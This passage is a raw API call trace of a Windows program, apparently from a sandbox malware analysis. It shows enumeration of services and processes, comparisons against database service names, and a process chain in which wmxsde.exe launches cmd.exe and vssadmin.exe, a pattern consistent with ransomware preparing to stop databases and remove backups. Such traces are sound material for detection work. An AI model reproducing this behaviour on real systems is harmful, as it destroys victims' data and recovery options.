(lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0178.592] lstrlenW (lpString="nsi") returned 3 [0178.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.651] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.651] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.651] lstrlenW (lpString="PcaSvc") returned 6 [0178.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0178.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0178.651] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0178.651] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0178.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0178.652] lstrlenW (lpString="PlugPlay") returned 8 [0178.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.652] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.652] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.652] lstrlenW (lpString="Power") returned 5 [0178.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.652] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.652] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.652] lstrlenW (lpString="ProfSvc") returned 7 [0178.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.652] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.652] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.652] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.653] lstrlenW (lpString="RpcSs") returned 5 [0178.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.653] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.653] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.653] lstrlenW (lpString="SamSs") returned 5 [0178.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.653] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.653] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.653] lstrlenW (lpString="Schedule") returned 8 [0178.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.654] lstrlenW (lpString="SecurityHealthService") returned 21 [0178.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0178.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0178.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0178.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0178.654] lstrlenW (lpString="SENS") returned 4 [0178.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.655] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.655] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.655] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.655] lstrlenW (lpString="Spooler") returned 7 [0178.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.655] lstrlenW (lpString="StateRepository") returned 15 [0178.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0178.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0178.655] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0178.655] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0178.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0178.655] lstrlenW (lpString="SysMain") returned 7 [0178.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0178.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0178.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0178.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0178.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0178.656] lstrlenW (lpString="SystemEventsBroker") returned 18 [0178.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0178.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0178.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0178.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0178.656] lstrlenW (lpString="Themes") returned 6 [0178.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.657] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4661fb8 | out: hHeap=0x710000) returned 1 [0178.657] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x534 [0178.666] Process32FirstW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.667] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.668] lstrlenW (lpString="System") returned 6 [0178.668] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.670] lstrlenW (lpString="smss.exe") returned 8 [0178.670] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.671] lstrlenW (lpString="csrss.exe") returned 9 [0178.671] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.673] lstrlenW (lpString="wininit.exe") returned 11 [0178.673] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.674] lstrlenW (lpString="csrss.exe") returned 9 [0178.674] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0178.676] lstrlenW (lpString="winlogon.exe") returned 12 [0178.676] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0178.678] lstrlenW (lpString="services.exe") returned 12 [0178.678] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0178.679] lstrlenW (lpString="lsass.exe") returned 9 [0178.679] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.680] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.680] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0178.682] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0178.682] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.683] lstrlenW (lpString="svchost.exe") returned 11 [0178.683] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.684] lstrlenW (lpString="svchost.exe") returned 11 [0178.684] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0178.686] lstrlenW (lpString="dwm.exe") returned 7 [0178.686] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.979] lstrlenW (lpString="svchost.exe") returned 11 [0178.979] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.980] lstrlenW (lpString="svchost.exe") returned 11 [0178.980] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.982] lstrlenW (lpString="svchost.exe") returned 11 [0178.982] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.983] lstrlenW (lpString="svchost.exe") returned 11 [0178.983] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.985] lstrlenW (lpString="svchost.exe") returned 11 [0178.985] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.987] lstrlenW (lpString="svchost.exe") returned 11 [0178.987] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.988] lstrlenW (lpString="svchost.exe") returned 11 [0178.988] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.989] lstrlenW (lpString="svchost.exe") returned 11 [0178.989] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.990] lstrlenW (lpString="svchost.exe") returned 11 [0178.991] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.992] lstrlenW (lpString="svchost.exe") returned 11 [0178.992] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0178.993] lstrlenW (lpString="spoolsv.exe") returned 11 [0178.993] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0178.994] lstrlenW (lpString="svchost.exe") returned 11 [0178.994] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0178.995] lstrlenW (lpString="audiodg.exe") returned 11 [0178.996] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0178.997] lstrlenW (lpString="taskhostw.exe") returned 13 [0178.997] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0178.998] lstrlenW (lpString="sihost.exe") returned 10 [0178.998] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.000] lstrlenW (lpString="svchost.exe") returned 11 [0179.000] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0179.001] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0179.001] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0179.002] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0179.003] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0179.004] lstrlenW (lpString="Memory Compression") returned 18 [0179.004] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0179.005] lstrlenW (lpString="taskhostw.exe") returned 13 [0179.005] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0179.006] lstrlenW (lpString="msoia.exe") returned 9 [0179.006] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.007] lstrlenW (lpString="explorer.exe") returned 12 [0179.007] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0179.008] lstrlenW (lpString="SearchUI.exe") returned 12 [0179.008] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0179.010] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0179.010] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0179.011] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0179.011] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0179.012] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0179.012] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0179.262] lstrlenW (lpString="wmxsde.exe") returned 10 [0179.262] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0179.264] lstrlenW (lpString="cmd.exe") returned 7 [0179.264] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0179.265] lstrlenW (lpString="conhost.exe") returned 11 [0179.265] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0179.267] lstrlenW (lpString="consent.exe") returned 11 [0179.267] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0179.268] lstrlenW (lpString="vssadmin.exe") returned 12 [0179.269] Process32NextW (in: hSnapshot=0x534, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0179.270] CloseHandle (hObject=0x534) returned 1 [0179.271] Sleep (dwMilliseconds=0x1f4) [0179.997] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f420 [0179.998] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0180.000] GetLastError () returned 0xea [0180.000] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x4661fb8 [0180.001] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4661fb8, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4661fb8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0180.003] CloseServiceHandle (hSCObject=0x459f420) returned 1 [0180.003] lstrlenW (lpString="Appinfo") returned 7 [0180.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0180.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0180.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0180.003] lstrcmpiW 